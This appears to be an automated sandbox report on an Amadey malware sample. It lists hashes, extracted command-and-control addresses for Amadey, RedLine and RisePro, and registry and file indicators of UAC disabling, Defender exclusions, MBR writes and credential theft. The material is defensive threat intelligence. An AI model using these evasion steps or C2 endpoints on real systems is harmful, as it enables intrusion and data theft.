amadey | e56c2d158882c7a16908b93f5d49187927547fbe9e51cea39bdb1d17bd312dd2

Analysis

max time kernel
129s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
04/06/2024, 16:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e56c2d158882c7a16908b93f5d49187927547fbe9e51cea39bdb1d17bd312dd2.exe
Size 1.8MB
Sample240604-tlt9dacd71
SHA256 e56c2d158882c7a16908b93f5d49187927547fbe9e51cea39bdb1d17bd312dd2
MD5 c406d2bafb8afcdfb6b1fc523799cedf
SHA1 0b5a1b962814fb275b5d38ffe32615fd27fb83e4
SHA512 6b9afda10c0c5ac2970bb14b5394707bd7e6df9e6a0b1fb71851a620ca40ee865ce23ca638717ff19f1e5722a3d4d57d9d06f7b6e2cf87a75e04b31c40cbe0f1
SSDEEP 24576:PZVSO1XrIabnfbAtxbMLc88ZLyTHqli7MR366G8k9a8osJJW/EQrHL/7Bi:bSOaaHaMLl81Ji7c5M9a2JA/EQ//1
MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family

amadey

Version

4.21

Botnet

0e6740

http://147.45.47.155

Attributes

install_dir
9217037dc9
install_file
explortu.exe
strings_key
8e894a8a4a3d0da8924003a561cfb244
url_paths
/ku4Nor9/index.php

rc4.plain

Extracted

Family

amadey

Version

8254624243

Botnet

e76b71

http://77.91.77.81

Attributes

install_dir
8254624243
install_file
axplong.exe
strings_key
90049e51fabf09df0d6748e0b271922e
url_paths
/Kiru9gu/index.php

rc4.plain

Extracted

Family

risepro

147.45.47.126:58709

Extracted

Family

amadey

Version

4.21

Botnet

9a3efc

http://check-ftp.ru

Attributes

install_dir
b9695770f1
install_file
Dctooux.exe
strings_key
1d3a0f2941c4060dba7f23a378474944
url_paths
/forum/index.php

rc4.plain

Extracted

Family

redline

Botnet

newbild

185.215.113.67:40960

Extracted

Family

redline

Botnet

@LOGSCLOUDYT_BOT

185.172.128.33:8970

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Exela Stealer
Exela Stealer is an open source stealer originally written in .NET and later transitioned to Python that was first observed in August 2023.
stealer exelastealer

Modifies firewall policy service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	85hTjqXFhQelwVJSTgc38gyN.exe

PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 4 IoCs

resource	yara_rule
behavioral2/files/0x000100000002aa04-489.dat	family_redline
behavioral2/memory/6036-520-0x0000000000360000-0x00000000003B0000-memory.dmp	family_redline
behavioral2/files/0x000100000002aa0c-601.dat	family_redline
behavioral2/memory/1096-607-0x00000000007C0000-0x0000000000812000-memory.dmp	family_redline

RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
stealer risepro
SystemBC
SystemBC is a proxy and remote administration tool first seen in 2019.
trojan systembc

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe

Windows security bypass 2 TTPs 3 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000002001\file300un.exe = "0"	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1"	85hTjqXFhQelwVJSTgc38gyN.exe

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 9 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	b3de505406.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	e56c2d158882c7a16908b93f5d49187927547fbe9e51cea39bdb1d17bd312dd2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3bf41d36ee.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe

Blocklisted process makes network request 12 IoCs

flow	pid	Process
11	3192	powershell.exe
54	3192	powershell.exe
10	3192	powershell.exe
12	3192	powershell.exe
15	3192	powershell.exe
13	3192	powershell.exe
16	3192	powershell.exe
21	3192	powershell.exe
24	3192	powershell.exe
22	3192	powershell.exe
23	3192	powershell.exe
97	4132	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4816	powershell.exe
3144	powershell.exe
5732	powershell.exe
4528	powershell.EXE
5720	powershell.exe
4692	powershell.exe
5720	powershell.exe
4248	powershell.exe
3192	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	WindowsAutHost
File created	C:\Windows\system32\drivers\etc\hosts	services64.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1616	netsh.exe
6080	netsh.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 20 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	e56c2d158882c7a16908b93f5d49187927547fbe9e51cea39bdb1d17bd312dd2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3bf41d36ee.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	e56c2d158882c7a16908b93f5d49187927547fbe9e51cea39bdb1d17bd312dd2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	b3de505406.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	b3de505406.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3bf41d36ee.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Control Panel\International\Geo\Nation	XqlEgtp.exe

Drops startup file 5 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dQSXxUfHN22zKSqTAVBWHf8s.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\KZXxWtOHSK4apSHSgIpCqbdD.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\gHrYBgCy9ZIIGv3YAlpzx991.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3PgJXzg1RBAI2YOQRByGb8eT.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2fx5glVcHTgQnL6Lhi1jKrAG.bat	CasPol.exe

Executes dropped EXE 35 IoCs

pid	Process
4688	explortu.exe
1412	3bf41d36ee.exe
1940	axplong.exe
2828	b3de505406.exe
1156	8523104305.exe
3196	file300un.exe
1492	gold.exe
552	VtKu0Kz7COUlJOliVRa7Bhtv.exe
1560	ASlDITwGjwi66zrZSnmKVIBk.exe
3016	85hTjqXFhQelwVJSTgc38gyN.exe
2508	Dctooux.exe
4028	N1OE4MTJyHTnixYI1sU7qC6c.exe
5276	Install.exe
5320	Install.exe
5912	judit.exe
5188	stub.exe
6036	redline123123.exe
5952	upd.exe
5608	One.exe
1096	svhoost.exe
5516	lumma123.exe
4940	Install.exe
2448	lrthijawd.exe
1596	work.exe
2032	jergs.exe
5820	Dctooux.exe
4632	explortu.exe
5920	axplong.exe
5260	acmwid.exe
5108	XqlEgtp.exe
4972	Dctooux.exe
5272	explortu.exe
1628	axplong.exe
4812	services64.exe
396	WindowsAutHost

Identifies Wine through registry keys 2 TTPs 9 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Wine	e56c2d158882c7a16908b93f5d49187927547fbe9e51cea39bdb1d17bd312dd2.exe
Key opened	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Wine	3bf41d36ee.exe
Key opened	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Wine	axplong.exe
Key opened	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Wine	b3de505406.exe
Key opened	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Wine	explortu.exe

Loads dropped DLL 35 IoCs

pid	Process
1560	ASlDITwGjwi66zrZSnmKVIBk.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
5188	stub.exe
4132	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Windows security modification 2 TTPs 4 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	file300un.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000002001\file300un.exe = "0"	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1"	85hTjqXFhQelwVJSTgc38gyN.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1230210488-3096403634-4129516247-1000\Software\Microsoft\Windows\CurrentVersion\Run\b3de505406.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000012001\\b3de505406.exe"	explortu.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe

Drops Chrome extension 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	XqlEgtp.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	XqlEgtp.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	Install.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
3	pastebin.com
18	iplogger.com
27	pastebin.com
63	iplogger.com

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	api.myip.com
18	ipinfo.io
18	ip-api.com
57	api.myip.com
58	ipinfo.io

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	ASlDITwGjwi66zrZSnmKVIBk.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x0003000000025c8e-77.dat	autoit_exe

Drops file in System32 directory 41 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	85hTjqXFhQelwVJSTgc38gyN.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	XqlEgtp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	XqlEgtp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	XqlEgtp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	XqlEgtp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	XqlEgtp.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	85hTjqXFhQelwVJSTgc38gyN.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_6B69C29B30EAF4FCF9E240B3D6A77FC9	XqlEgtp.exe
File opened for modification	C:\Windows\system32\MRT.exe	services64.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	XqlEgtp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	XqlEgtp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	XqlEgtp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_6B69C29B30EAF4FCF9E240B3D6A77FC9	XqlEgtp.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\System32\GroupPolicy	85hTjqXFhQelwVJSTgc38gyN.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	XqlEgtp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_798B036C05F381321FD6C3F00885C62F	XqlEgtp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	XqlEgtp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	XqlEgtp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	XqlEgtp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E52E4DB9468EB31D663A0754C2775A04	XqlEgtp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	XqlEgtp.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	85hTjqXFhQelwVJSTgc38gyN.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	XqlEgtp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E52E4DB9468EB31D663A0754C2775A04	XqlEgtp.exe
File opened for modification	C:\Windows\system32\MRT.exe	WindowsAutHost
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_DBD1FAADD656881B5EBDBC1DB3D60301	XqlEgtp.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	XqlEgtp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	XqlEgtp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_798B036C05F381321FD6C3F00885C62F	XqlEgtp.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	XqlEgtp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_DBD1FAADD656881B5EBDBC1DB3D60301	XqlEgtp.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 13 IoCs

pid	Process
2580	e56c2d158882c7a16908b93f5d49187927547fbe9e51cea39bdb1d17bd312dd2.exe
4688	explortu.exe
1412	3bf41d36ee.exe
1940	axplong.exe
2828	b3de505406.exe
4632	explortu.exe
5920	axplong.exe
5272	explortu.exe
1628	axplong.exe
4812	services64.exe
4812	services64.exe
396	WindowsAutHost
396	WindowsAutHost

Suspicious use of SetThreadContext 8 IoCs

description	pid	Process	procid_target
PID 1492 set thread context of 3052	1492	gold.exe	100
PID 3196 set thread context of 2984	3196	file300un.exe	107
PID 5952 set thread context of 5808	5952	upd.exe	260
PID 5516 set thread context of 4124	5516	lumma123.exe	274
PID 4812 set thread context of 2704	4812	services64.exe	471
PID 396 set thread context of 5516	396	WindowsAutHost	502
PID 396 set thread context of 4740	396	WindowsAutHost	504
PID 396 set thread context of 2852	396	WindowsAutHost	508

Drops file in Program Files directory 14 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\dlfHiRefefjU2\UGPeaEVqdjSQO.dll	XqlEgtp.exe
File created	C:\Program Files (x86)\dlfHiRefefjU2\MBHSZJB.xml	XqlEgtp.exe
File created	C:\Program Files (x86)\ZEkGlaTFWGUn\fGPdFDK.dll	XqlEgtp.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	XqlEgtp.exe
File created	C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\BYqRwmj.xml	XqlEgtp.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	XqlEgtp.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	XqlEgtp.exe
File created	C:\Program Files (x86)\QtKEgKYoTGTqC\GKJmeKo.xml	XqlEgtp.exe
File created	C:\Program Files (x86)\hsUwQAlMU\GeEqjQ.dll	XqlEgtp.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	XqlEgtp.exe
File created	C:\Program Files (x86)\hsUwQAlMU\hiwALlW.xml	XqlEgtp.exe
File created	C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\aXtZLsa.dll	XqlEgtp.exe
File created	C:\Program Files (x86)\QtKEgKYoTGTqC\zVlotVg.dll	XqlEgtp.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	XqlEgtp.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\explortu.job	e56c2d158882c7a16908b93f5d49187927547fbe9e51cea39bdb1d17bd312dd2.exe
File created	C:\Windows\Tasks\Dctooux.job	VtKu0Kz7COUlJOliVRa7Bhtv.exe
File created	C:\Windows\Tasks\btZaCbGShXZoJDfvCg.job	schtasks.exe
File opened for modification	C:\Windows\Tasks\acmwid.job	jergs.exe
File created	C:\Windows\Tasks\ZTNkTKukmvvbOMPkn.job	schtasks.exe
File created	C:\Windows\Tasks\BjyVbWVaXyfCTlHuI.job	schtasks.exe
File created	C:\Windows\Tasks\axplong.job	3bf41d36ee.exe
File created	C:\Windows\Tasks\acmwid.job	jergs.exe
File created	C:\Windows\Tasks\ucrVpivlTlXwlAC.job	schtasks.exe

Launches sc.exe 15 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1600	sc.exe
4640	sc.exe
5464	sc.exe
728	sc.exe
4476	sc.exe
5256	sc.exe
1648	sc.exe
3872	sc.exe
4480	sc.exe
5148	sc.exe
5660	sc.exe
1992	sc.exe
4612	sc.exe
2512	sc.exe
2624	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 33 IoCs

pid	pid_target	Process	procid_target
1040	1492	WerFault.exe	96
3316	552	WerFault.exe	112
4772	552	WerFault.exe	112
3188	552	WerFault.exe	112
2896	552	WerFault.exe	112
1120	552	WerFault.exe	112
3128	552	WerFault.exe	112
5068	552	WerFault.exe	112
4928	552	WerFault.exe	112
1636	552	WerFault.exe	112
1412	552	WerFault.exe	112
5260	2508	WerFault.exe	135
5316	2508	WerFault.exe	135
5392	2508	WerFault.exe	135
5448	2508	WerFault.exe	135
5500	2508	WerFault.exe	135
5560	2508	WerFault.exe	135
5608	2508	WerFault.exe	135
5684	2508	WerFault.exe	135
5740	2508	WerFault.exe	135
5788	2508	WerFault.exe	135
5860	2508	WerFault.exe	135
5912	2508	WerFault.exe	135
5972	2508	WerFault.exe	135
6028	2508	WerFault.exe	135
6080	2508	WerFault.exe	135
6136	2508	WerFault.exe	135
2840	5820	WerFault.exe	285
2780	4940	WerFault.exe	279
1408	5320	WerFault.exe	174
2316	5108	WerFault.exe	381
3564	4972	WerFault.exe	444
2356	2508	WerFault.exe	135

Collects information from the system 1 TTPs 1 IoCs

Uses WMIC.exe to find detailed system information.

Data from Local System

T1005

pid	Process
860	WMIC.exe

Creates scheduled task(s) 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
5952	schtasks.exe
3476	schtasks.exe
5172	schtasks.exe
5988	schtasks.exe
4112	schtasks.exe
5424	schtasks.exe
5504	schtasks.exe
1648	schtasks.exe
5596	schtasks.exe
2856	schtasks.exe

Enumerates processes with tasklist 1 TTPs 3 IoCs

Process Discovery

T1057

pid	Process
5520	tasklist.exe
916	tasklist.exe
3012	tasklist.exe

Enumerates system info in registry 2 TTPs 7 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2388	ipconfig.exe
3048	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5272	systeminfo.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
5820	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

